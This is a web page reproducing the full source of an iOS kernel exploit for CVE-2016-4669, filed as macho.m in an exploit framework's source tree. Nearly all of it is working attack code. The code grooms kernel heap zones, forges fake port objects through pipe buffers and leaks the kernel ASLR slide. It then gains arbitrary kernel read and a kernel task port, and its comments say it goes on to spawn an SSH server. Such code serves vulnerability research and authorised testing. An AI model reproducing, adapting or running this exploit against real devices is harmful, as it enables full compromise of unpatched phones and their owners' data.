Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4669/macho.m
Views: 11779
// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=8821// [2] http://newosxbook.com/files/PhJB.pdf2// [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core34@import Foundation;5#include <stdio.h>6#include <dlfcn.h>7#include <stdlib.h>8#include <fcntl.h>9#include <unistd.h>10#include <sys/attr.h>11#include <mach/mach.h>12#include <sys/mman.h>13#include <sys/types.h>14#include <sys/stat.h>15#include <sys/syscall.h>16#include <sys/mount.h>17#include <spawn.h>18#include <sys/sysctl.h>19#include <sys/types.h>20#include <sys/socket.h>2122#include <stdint.h>23#include <mach/mach.h>24#include <CoreFoundation/CoreFoundation.h>2526#include <mach/clock.h>27#include <errno.h>28#include <mach/task.h>2930#include "__task.h"31#include "utils.h"32#include "shell.h"33#include "offsets.h"3435typedef union36{37uint32_t *p32;38uint16_t *p16;39uint8_t *p8;40void *p;41uint32_t u32;42} many_ptr_t;434445extern kern_return_t __mach_ports_register46(47task_t target_task,48mach_port_array_t init_port_set,49mach_msg_type_number_t init_port_setCnt50);5152// Definitions not covered by standard headers53extern kern_return_t mach_zone_force_gc(mach_port_t);54extern host_name_port_t mach_host_self(void);55kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address,56mach_vm_size_t size, vm_offset_t *data,57mach_msg_type_number_t *dataCnt);58kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address,59mach_vm_size_t size, mach_vm_address_t data,60mach_vm_size_t *out_size);6162kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address,63vm_offset_t data, mach_msg_type_number_t dataCnt);64kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);65kern_return_t (*io_service_add_notification_ool)(mach_port_t,66char *,67io_buf_ptr_t,68mach_msg_type_number_t,69mach_port_t,70unsigned *,71mach_msg_type_number_t,72kern_return_t *,73mach_port_t *);74kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *);7576#define resolve(name) \77{\78name = dlsym(RTLD_DEFAULT, ""#name"");\79if (!name) {\80LOG("could not resolve " #name "");\81exit(-1);\82}\83}\848586#define BAD_ADDR ((addr_t)-1)8788// Kernel offsets89static struct {90addr_t kernel_task;91addr_t system_clock;92addr_t base;93} koffsets = {94.kernel_task = 0x8038c090,95.system_clock = 0x80338e68,96.base = 0x80001000,97};9899static mach_port_t master = MACH_PORT_NULL;100static mach_port_t tfp0 = MACH_PORT_NULL;101102int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp));103104#define PORT_SIZE 0x70105106#define IKOT_TASK 2107#define IKOT_CLOCK 25108#define IO_ACTIVE 0x80000000109110#define off(x) (x)111#define off16(x) (x/2)112#define off32(x) (x/4)113114#define KALLOC_8_CNT 0x800115// The amount of ports we are planing to116// decommission during allocator garbage collection.117// Each page has 0x24 ports and we are allocating118// one pipe per page. Sp this is how many ports119// we will have for 0x400 pipes.120#define DECOM_PORTS_CNT (0x24*0x400)121#define PIPES_CNT 0xf80122#define PAGE_PORTS_CNT 0x500123#define X10_ALLOC_CNT 0x10124#define NOTIFY_CNT 0x800125126#define INIT_IP_RIGHTS 0x41127128void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int ))129{130for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {131many_ptr_t mp;132mp.p = buf + i;133fill(&mp, i);134}135}136137int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))138{139char buf[PAGE_SIZE];140memset(buf, 0, sizeof(buf));141142return __update_super_port(pipe, off, buf, fill);143}144145int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))146{147return __update_super_port(pipe, off, NULL, fill);148}149150void gc()151{152kern_return_t kr = mach_zone_force_gc(mach_host_self());153if (kr != KERN_SUCCESS) {154LOG("zone gc failed: %d", kr);155exit(-1);156}157}158159int mach_ports_register_oob()160{161mach_port_t ports[3];162ports[0] = 0;163ports[1] = 0;164ports[2] = 0;165// we've patched the generated code for mach_ports_register to only actually send one OOL port166// but still set init_port_setCnt to the value passed here167return __mach_ports_register(mach_task_self(), ports, 3);168}169170// Trigger the bug and create a dangling port pointer.171// Returns a ports list so that dangling port memory block172// is placed somewhere amongst blocks from that list.173mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count)174{175mach_port_t kalloc_8_ports[KALLOC_8_CNT];176for (int i=0; i<KALLOC_8_CNT; i++) {177kalloc_8_ports[i] = alloc_port();178}179180// We allocate a lot of ports, so they occupy full pages181// after some point, later on when we free those182// ports, pages are decommissioned for use by other183// allocation zones.184mach_port_t *ports_to_decom = calloc(ports_count, sizeof(mach_port_t));185for (int i=0; i<ports_count/2; i++) {186ports_to_decom[i] = alloc_port();187}188189// we hope this port going to be a part of a decommissioned page190*super_port = alloc_port();191192// allocate more pages193for (int i=ports_count/2; i<ports_count; i++) {194ports_to_decom[i] = alloc_port();195}196197// allocate ool port messages in 8-kalloc with two super_port pointers each198for (int i=0; i<KALLOC_8_CNT; i++) {199kalloc_8_ool_ports(kalloc_8_ports[i], *super_port);200}201202// free every 4th one203for (int i=0; i<KALLOC_8_CNT; i+=4) {204discard_message(kalloc_8_ports[i]);205}206207// Call bugged mach_ports_register, which is208// going to allocate space for two port pointers209// (grabbing a block from 8-kalloc, which is hopefully210// surrounded by our ool ports) and read the third one211// out of bounds.212kern_return_t kr = mach_ports_register_oob();213if (kr != KERN_SUCCESS) {214LOG("could not register oob");215return NULL;216}217LOG("oob port registered ");218219// free the rest of the messages220for (int i=1; i<KALLOC_8_CNT; i++) {221if (i % 4)222discard_message(kalloc_8_ports[i]);223}224225return ports_to_decom;226}227228// We check for INIT_IP_RIGHTS + 1 in ip_srights field, which229// should have been set by mach_ports_lookup.230bool is_port_pipe(char *buf, unsigned *off)231{232for (unsigned i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {233many_ptr_t mp;234mp.p = buf + i;235236if (mp.p32[off32(IPC_PORT_ip_srights)] == INIT_IP_RIGHTS + 1) {237*off = i;238return true;239}240}241242return false;243}244245// we always leave pipe full, after read/write246// for consistency.247//248// -1 if failed, otherwise pipe index in @pipes array249int find_port_pipe(int * pipes, unsigned *off)250{251for (int i=0; PIPES_CNT; i++) {252253int *pipe = &pipes[i*2];254char buf[PAGE_SIZE-1];255256int cnt = read(pipe[0], buf, sizeof(buf));257if (cnt != sizeof(buf)) {258LOG("could not read pipe %d", i);259return -1;260}261262if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {263LOG("pipe write failed");264return -1;265}266267if (is_port_pipe(buf, off)) {268return i;269}270}271272return -1;273}274275int find_in_pipes(int *pipes, unsigned *off, bool (^find)(many_ptr_t *mp))276{277for (int i=0; PIPES_CNT; i++) {278279int *pipe = &pipes[i*2];280char buf[PAGE_SIZE-1];281282int cnt = read(pipe[0], buf, sizeof(buf));283if (cnt != sizeof(buf)) {284LOG("could not read pipe %x, cnt: %d", i, cnt);285return -1;286}287288if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {289LOG("pipe write failed");290return -1;291}292293for (unsigned j=0; j<PAGE_SIZE; j+=PORT_SIZE) {294many_ptr_t mp;295mp.p = buf + j;296297if (find(&mp)) {298*off = j;299return i;300}301}302}303304return -1;305}306307int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp))308{309char __buf[PAGE_SIZE];310int ret = read(pipe[0], __buf, PAGE_SIZE-1);311if (ret != PAGE_SIZE-1) {312return -1;313}314315if (buf == NULL)316buf = __buf;317318many_ptr_t mp;319mp.p = buf + off;320fill(&mp);321322ret = write(pipe[1], buf, PAGE_SIZE-1);323if (ret != PAGE_SIZE-1) {324return -1;325}326327return 0;328}329330int super_port_read(int pipe[2], unsigned pipe_off,331void (^reader)(many_ptr_t *mp))332{333char buf[PAGE_SIZE];334int ret = read(pipe[0], buf, PAGE_SIZE-1);335if (ret != PAGE_SIZE-1) {336return -1;337}338339ret = write(pipe[1], buf, PAGE_SIZE-1);340if (ret != PAGE_SIZE-1) {341return -1;342}343344many_ptr_t mp;345mp.p = buf + pipe_off;346reader(&mp);347348return 0;349}350351addr_t get_kaslr_slide(mach_port_t port, int pipe[2], unsigned off)352{353kern_return_t kr = 0;354set_super_port(pipe, off, ^(many_ptr_t *mp) {355mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK;356mp->p32[off32(IP_OBJECT_io_references)] = 0x10;357mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;358mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;359});360361for (int i=0; i<0x200; i++) {362363addr_t slide = i << 21;364365update_super_port(pipe, off, ^(many_ptr_t *mp) {366mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide;367});368369kr = clock_sleep_trap(port, 0, 0, 0, 0);370if (kr == KERN_SUCCESS) {371return slide;372}373}374375return BAD_ADDR;376}377378int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0,379addr_t port_addr)380{381set_super_port(pipe, off, ^(many_ptr_t *mp) {382mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK;383mp->p32[off32(IP_OBJECT_io_references)] = 0x10;384mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;385mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;386mp->p32[off32(IPC_PORT_receiver)] = space0;387mp->p32[off32(IPC_PORT_kobject)] = task0;388// we don't do notify in mach_ports_register389mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;390391mp->p32[off32(IPC_PORT_ip_messages_imq_next)] =392port_addr + IPC_PORT_ip_messages_imq_next;393mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] =394port_addr + IPC_PORT_ip_messages_imq_prev;395mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10;396397mp->p32[off32(0x14)] = 6;398mp->p32[off32(0x18)] = 0;399});400401return 0;402}403404void kread(uint64_t from, void *to, size_t size)405{406#define BLOCK_SIZE 0xf00407mach_vm_size_t outsize = size;408409size_t szt = size;410if (size > BLOCK_SIZE) {411size = BLOCK_SIZE;412}413414size_t off = 0;415416while (1) {417kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from,418size, (mach_vm_offset_t)(off+to), &outsize);419if (kr != KERN_SUCCESS) {420LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);421return;422}423szt -= size;424off += size;425if (szt == 0) {426break;427}428size = szt;429if (size > BLOCK_SIZE) {430size = BLOCK_SIZE;431}432}433#undef BLOCK_SIZE434}435436uint32_t kr32(addr_t from)437{438kern_return_t kr;439vm_offset_t buf = 0;440mach_msg_type_number_t num = 0;441442kr = mach_vm_read(tfp0,443from,4444,445&buf,446&num);447448if (kr != KERN_SUCCESS) {449LOG("mach_vm_read failed!\n");450return 0;451}452uint32_t val = *(uint32_t*)buf;453mach_vm_deallocate(mach_task_self(), buf, num);454return val;455}456457uint32_t kw32(addr_t to, uint32_t v)458{459kern_return_t kr;460461kr = mach_vm_write(tfp0,462to,463(vm_offset_t)&v,464(mach_msg_type_number_t)4);465466if (kr != KERN_SUCCESS) {467LOG("mach_vm_write failed!\n");468}469470return kr;471}472473int kread0_32(addr_t addr, void *result, mach_port_t super_port,474mach_port_t context_port)475{476kern_return_t kr = mach_port_set_context(mach_task_self(),477context_port, addr - 8);478if (kr != KERN_SUCCESS) {479LOG("mach_port_set_context failed: %d", kr);480return -1;481}482483kr = pid_for_task(super_port, (int *)result);484if (kr != KERN_SUCCESS) {485LOG("pid_for_task failed: %d", kr);486return -2;487}488return 0;489}490491static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port)492{493for (int i=0; i<n; i+=2) {494uint32_t v1, v2;495kread0_32(ptr+i*4, &v1, port, ctx_port);496kread0_32(ptr+(i+1)*4, &v2, port, ctx_port);497498LOG("%08X %08X", v1, v2);499}500}501502static void khexdump(addr_t ptr, size_t n)503{504for (int i=0; i<n; i+=2) {505uint32_t v1, v2;506v1 = kr32(ptr+i*4);507v2 = kr32(ptr+(i+1)*4);508LOG("%08X %08X", v1, v2);509}510}511512void * alloc_x10_make_xml(int count, uint32_t data[4])513{514char *ok_dict = malloc(0x100000);515unsigned pos = 0;516pos = sprintf(ok_dict, "<dict><key>a</key><array>");517518for (int i=0; i<count; i++) {519pos += sprintf(ok_dict + pos,520"<data format=\"hex\">%08x%08x%08x%08x</data>",521htonl(data[0]), htonl(data[1]),522htonl(data[2]), htonl(data[3]));523}524525sprintf(ok_dict+pos, "</array></dict>");526return ok_dict;527}528529io_service_t alloc_x10_alloc(void *xml)530{531kern_return_t another_error = 0;532io_service_t i = MACH_PORT_NULL;533534kern_return_t kr = io_service_add_notification_ool(master,535"IOServicePublish",536xml,537strlen(xml)+1,538MACH_PORT_NULL,539NULL,5400,541&another_error,542&i);543544if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) {545LOG("io_service_add_notification_ool failed %d, %d",546kr, another_error);547return MACH_PORT_NULL;548}549550return i;551}552553addr_t kread0_port_addr(addr_t space,554mach_port_t port, mach_port_t super_port,555mach_port_t ctx_port)556{557addr_t is_table_size;558addr_t is_table;559addr_t addr;560kern_return_t kr = KERN_SUCCESS;561562kr = kread0_32(space + SPACE_is_table_size, &is_table_size,563super_port, ctx_port);564if (kr != KERN_SUCCESS) {565return 0;566}567568kr = kread0_32(space + SPACE_is_table, &is_table,569super_port, ctx_port);570if (kr != KERN_SUCCESS) {571return 0;572}573574kr = kread0_32(is_table + (port >> 8)*0x10, &addr,575super_port, ctx_port);576if (kr != KERN_SUCCESS) {577return 0;578}579580return addr;581}582583#include <sys/types.h>584#include <sys/sysctl.h>585586// This is an exploit for vulnerability described in [1].587//588// To start lets roughly out like the exploit process. It's very589// similar to what detailed in [2]. The only difference590// is we don't use an information leak bug.591//592// 1. We fill up 8 bytes kalloc zone with ool ports.593// two port pointers each. We use the same port for all of them.594//595// 2. Free one ool message somewhere in the middle.596//597// 3. Trigger mach_ports_register bug to allocate598// the block we released in 2. with 8 bytes allocation for599// two port pointers and read the third port send right out of bound,600// grabbing one of the pointers we placed into ool port messages without601// proper reference.602//603// 4. Free the port we sent out of line and refill it with a pipe buffers.604//605// 6. Retrieve a dangling port send right via mach_ports_lookup.606//607// 7. Craft a fake IKOT_CLOCK port send right to get kernel slide.608//609// 8. Leak address of a port receive right using mach_port_request_notification on610// a dangling port send right backed by a pipe buffer.611//612// 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as613// described in [2].614//615// 10. Use kernel read to convert dangling port into a kernel task send right.616//617// 11. Spawn ssh server and deploy gnu core utils.618//619// 12. Cleanup and exit.620int main(int argc, char** argv)621{622kern_return_t kr = KERN_SUCCESS;623624resolve(io_service_add_notification_ool);625resolve(IOMasterPort);626resolve(mach_vm_read);627resolve(mach_vm_read_overwrite);628resolve(mach_vm_write);629resolve(mach_vm_deallocate);630631kr = IOMasterPort(MACH_PORT_NULL, &master);632LOG("master port: %x, kr: %d\n", master, kr);633634// First we stop all other thread to reduce the "noise"635for_other_threads(^(thread_act_t t) {636kern_return_t kr = thread_suspend(t);637if (kr != KERN_SUCCESS)638LOG("could not suspend a thread");639});640641// Set file limit for our process as high as possible,642// since we are using pipes as refill643set_nofile_limit();644645int pipes[PIPES_CNT][2];646647mach_port_t *ports_to_decom;648mach_port_t super_port;649650// We are going to reclaim decommissioned pages651// with page size allocations via pipes.652// Prepare the buffer first.653char pipe_buf[PAGE_SIZE];654memset(pipe_buf, 0, sizeof(pipe_buf));655656// We prepare a very minimal refill, so we don't panic657// in mach_ports_lookup trap when it needs to658// take port lock.659set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) {660mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;661mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;662mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;663// we set ip_srights to some distinct value, the function664// mach_ports_lookup returns as back a send right665// to the port, hence it increments ip_srights.666// We are going to use that later on to find the667// pipe buffer which captured the pages used668// for the super port.669mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS;670});671672// create pipe files first673if (pipes_create((int *)pipes, PIPES_CNT) < 0) {674LOG("could not create pipes");675return -1;676}677678// Allocate DECOM_PORTS_CNT ports continuously after some point679// and mark one "super" port somewhere in the middle.680// The super port is returned back via super_port argument.681//682// We places super_port without a proper reference into task's itk_registered683// using a bogus mach_ports_register call.684ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT);685if (ports_to_decom == NULL) {686return -1;687}688689// exhaust PAGE_SIZE zone so once we trigger the garbage collection690// the allocator is going to start requesting the "fresh" pages.691mach_port_t page_ports[PAGE_PORTS_CNT];692693for (int i=0; i<PAGE_PORTS_CNT; i++) {694page_ports[i] = alloc_port();695// allocate a page via mach ool messages696kalloc_page_ool_ports(page_ports[i]);697}698699// Free pages to decommission from ports zone.700for (int i=0; i<DECOM_PORTS_CNT; i++) {701mach_port_destroy(mach_task_self(), ports_to_decom[i]);702}703// Release the super port currently residing in704// itk_registered task_t field.705mach_port_destroy(mach_task_self(), super_port);706// Trigger garbage collection707gc();708// Refill decommissioned port pages with pipe buffers709pipes_alloc((int *)pipes, PIPES_CNT, pipe_buf);710711mach_port_t *ports = NULL;712mach_msg_type_number_t cnt = 3;713714// Get the dangling port pointer back while incrementing715// ip_srights field.716kr = mach_ports_lookup(mach_task_self(), (mach_port_t **)&ports, &cnt);717if (kr != KERN_SUCCESS) {718LOG("mach_ports_lookup failed %x\n", kr);719return -1;720}721722super_port = ports[2];723LOG("got fake pipe port: %d", super_port);724725// offset within the page where the super port used to reside.726unsigned pipe_off;727// the pipe buffer which reclaimed the super port page.728int super_pipe[2];729730int pipe_idx = find_port_pipe((int *)pipes, &pipe_off);731732if (pipe_idx >= 0) {733LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off);734} else {735LOG("could not find port pipe");736exit(-1);737}738739super_pipe[0] = pipes[pipe_idx][0];740super_pipe[1] = pipes[pipe_idx][1];741742pipes[pipe_idx][0] = -1;743pipes[pipe_idx][1] = -1;744pipes_close((int *)pipes, PIPES_CNT);745746// We have a send right to a port and full control over747// the backing memory via a pipe.748//749// We use method described in [3] to get kernel ASLR slide.750addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off);751LOG("slide: %08lx", slide);752753// Now we want to get kernel read using pid_for_task trap trick.754// The details on that can be found in [2].755//756// With control over content of a sand right we can setup a task send right.757// To get a kernel read we would need to have control of at least 4 bytes at758// a known kernel address (KA). Then we can point our send right task object759// to KA - offsetof(struct task, bsd_proc) and place the address we want760// to read from at KA.761//762// To achieve that we are going to leak address of a receive port right763// we can control and use mach_port_set_context to place the address we764// want to read at known address. (port_t ip_context field).765//766// To leak a port address we setup up our super_port so we can register767// a notification port for MACH_NOTIFY_DEAD_NAME via768// mach_port_request_notification.769set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {770mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;771mp->p32[off32(IP_OBJECT_io_references)] = 0x10;772mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;773mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;774mp->p32[off32(IPC_PORT_ip_srights)] = 99;775mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99;776mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0;777});778779mach_port_t old;780781// For pid_for_task call to work we need to make sure782// our fake task object has non zero reference counter.783// The task reference counter field would land at784// ip_pdrequest field of a port located before the port we785// are using to place our address at ip_context. So we spam786// ports with non zero ip_pdrequest, before allocating787// the port.788mach_port_t notify_ports[NOTIFY_CNT];789mach_port_t ref_port = alloc_port();790791for (int i=0; i<NOTIFY_CNT/2; i++) {792notify_ports[i] = alloc_port();793// set ip_pdrequest to ref_port address794kr = mach_port_request_notification(mach_task_self(), notify_ports[i],795MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,796MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);797798if (kr != KERN_SUCCESS) {799LOG("mach_port_request_notification failed, %x", kr);800}801}802803// create a port to leak the address of804mach_port_t notify_port = alloc_port();805806for (int i=NOTIFY_CNT/2; i<NOTIFY_CNT; i++) {807notify_ports[i] = alloc_port();808kr = mach_port_request_notification(mach_task_self(), notify_ports[i],809MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,810MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);811812if (kr != KERN_SUCCESS) {813LOG("mach_port_request_notification failed, %x", kr);814}815}816817uint32_t data[4];818memset(data, 0x41, sizeof(data));819820// Since ip_requests is NULL our call to mach_port_request_notification821// is going to allocate array of two ipc_port_request structures from 16-kalloc zone822// to be able to place one notification port.823//824// struct ipc_port_request {825// union {826// struct ipc_port *port;827// ipc_port_request_index_t index;828// } notify;829//830// union {831// mach_port_name_t name;832// struct ipc_table_size *size;833// } name;834// };835836//837// We want to have some control over the content of the blocks838// around where that 16 bytes block is allocated.839//840// To allocate blocks with controlled data and size we are going to841// use io_service_add_notification_ool, as described in [2].842//843// First we prepare the xml content to trigger the allocations.844void *xml_many = alloc_x10_make_xml(0x800, data);845846// fill up 16-kalloc, so further allocation are more847// predictable.848for (int i=0; i<0x20; i++) {849alloc_x10_alloc(xml_many);850}851852void *xml_single = alloc_x10_make_xml(1, data);853854mach_port_t x10_ports_many[X10_ALLOC_CNT];855mach_port_t x10_ports_single[X10_ALLOC_CNT];856857// we allocate large amount of 16 byte blocks858for (int i=0; i<X10_ALLOC_CNT; i++) {859x10_ports_many[i] = alloc_x10_alloc(xml_many);860x10_ports_single[i] = alloc_x10_alloc(xml_single);861}862863// Free some of them to "punch holes" in 16-kalloc which864// are surrounded by blocks we control.865for (int i=X10_ALLOC_CNT; i<X10_ALLOC_CNT; i++) {866mach_port_destroy(mach_task_self(), x10_ports_single[i]);867}868// Call to mach_port_request_notification allocates 0x10 bytes869// (two ipc_port_request structs), filling one of the holes870// and stores the block at ip_requests field of ipc_port.871//872// First item in ip_requests has notify.index field indicating first empty873// record position, name.size points to the size of the table.874//875// The second one contains our notification port,876// notify_port is stored as notify.port at offset 8877kr = mach_port_request_notification(mach_task_self(), super_port,878MACH_NOTIFY_DEAD_NAME, 0, notify_port,879MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);880if (kr != KERN_SUCCESS) {881LOG("mach_port_request_notification failed kr: %x", kr);882exit(-1);883}884885// Read back the value allocated via ip_requests.886__block addr_t ip_requests = 0;887super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) {888ip_requests = mp->p32[off32(IPC_PORT_ip_requests)];889});890LOG("got ip_requests: %lx", ip_requests);891892// -8 we need for +8 pid offset in proc structure.893// + 8 is for second ipc_port_request record.894data[0] = ip_requests - 8 + 8;895896free(xml_many);897// now prepare another xml to replace the block we allocated898// before with new data. We place our ip_requests pointer at899// offset 0.900xml_many = alloc_x10_make_xml(0x1000, data);901902// free the previous allocation903for (int i=0; i<X10_ALLOC_CNT; i++) {904mach_port_destroy(mach_task_self(), x10_ports_many[i]);905}906907// and refill with new content908for (int i=0; i<X10_ALLOC_CNT; i++) {909x10_ports_many[i] = alloc_x10_alloc(xml_many);910}911912// We hope that ip_requests + 0x10 was refilled with our913// data which has ip_requests pointer at offset 0.914//915// Now we setup a task port and point kobject to916// ip_requests - offsetof(struct task, bsd_proc) + 0x10,917// so when we call pid_for_task on it we are going to918// get ip_requests + 8, which is the address of notify_port919// we placed there before.920set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {921mp->p32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK;922// set reference counter so the port is never released923mp->p32[off32(IP_OBJECT_io_references)] = 0x10;924mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;925mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;926mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10;927mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;928mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests;929});930931addr_t notify_port_addr;932kr = pid_for_task(super_port, (int *)¬ify_port_addr);933if (kr != KERN_SUCCESS) {934LOG("pid_for_task failed");935exit(-1);936}937LOG("notify addr: %lx", notify_port_addr);938// Update the content of the task port so when we call pid_for_task939// it's going to use the value of notify_port ip_context field940// as bsd_info.941update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {942mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context;943});944945uint32_t dummy = 0;946if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) {947LOG("early kernel read failed");948exit(-1);949}950if (dummy != 0xFEEDFACE) {951LOG("could not setup early kernel read");952exit(-1);953}954LOG("got early kernel read");955956// remove our notification port, to be able to safely release the957// super_port later on.958kr = mach_port_request_notification(mach_task_self(), super_port,959MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL,960MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);961if (kr != KERN_SUCCESS) {962LOG("mach_port_request_notification failed kr: %x", kr);963exit(-1);964}965966// The only thing left to get arbitrary kernel read/write is to967// obtain some kernel artifacts.968addr_t kernel_task;969if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task,970super_port, notify_port) < 0) {971exit(0);972}973LOG("kernel_task: %lx", kernel_task);974975addr_t kernel_space;976addr_t kernel_itk_self;977kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self,978super_port, notify_port);979kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space,980super_port, notify_port);981982LOG("kernel_space: %lx", kernel_space);983984addr_t self_space;985kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space,986super_port, notify_port);987addr_t super_port_addr = kread0_port_addr(self_space, super_port,988super_port, notify_port);989990LOG("super_port_addr: %lx", super_port_addr);991992// setup port for kernel task as outlined in [2]993super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space,994super_port_addr);995LOG("got tfp0");996tfp0 = super_port;997998// resume thread, otherwise we lose some of999// objective-C runtime functionality.1000for_other_threads(^(thread_act_t t) {1001kern_return_t kr = thread_resume(t);1002if (kr != KERN_SUCCESS)1003LOG("could not resume a thread");1004});10051006shell_main(self_space, slide);10071008ports[0] = 0;1009ports[1] = 0;1010ports[2] = 0;1011mach_ports_register(mach_task_self(), ports, 3);10121013mach_port_destroy(mach_task_self(), tfp0);1014close(super_pipe[0]);1015close(super_pipe[1]);1016exit(0);10171018return 0;1019}102010211022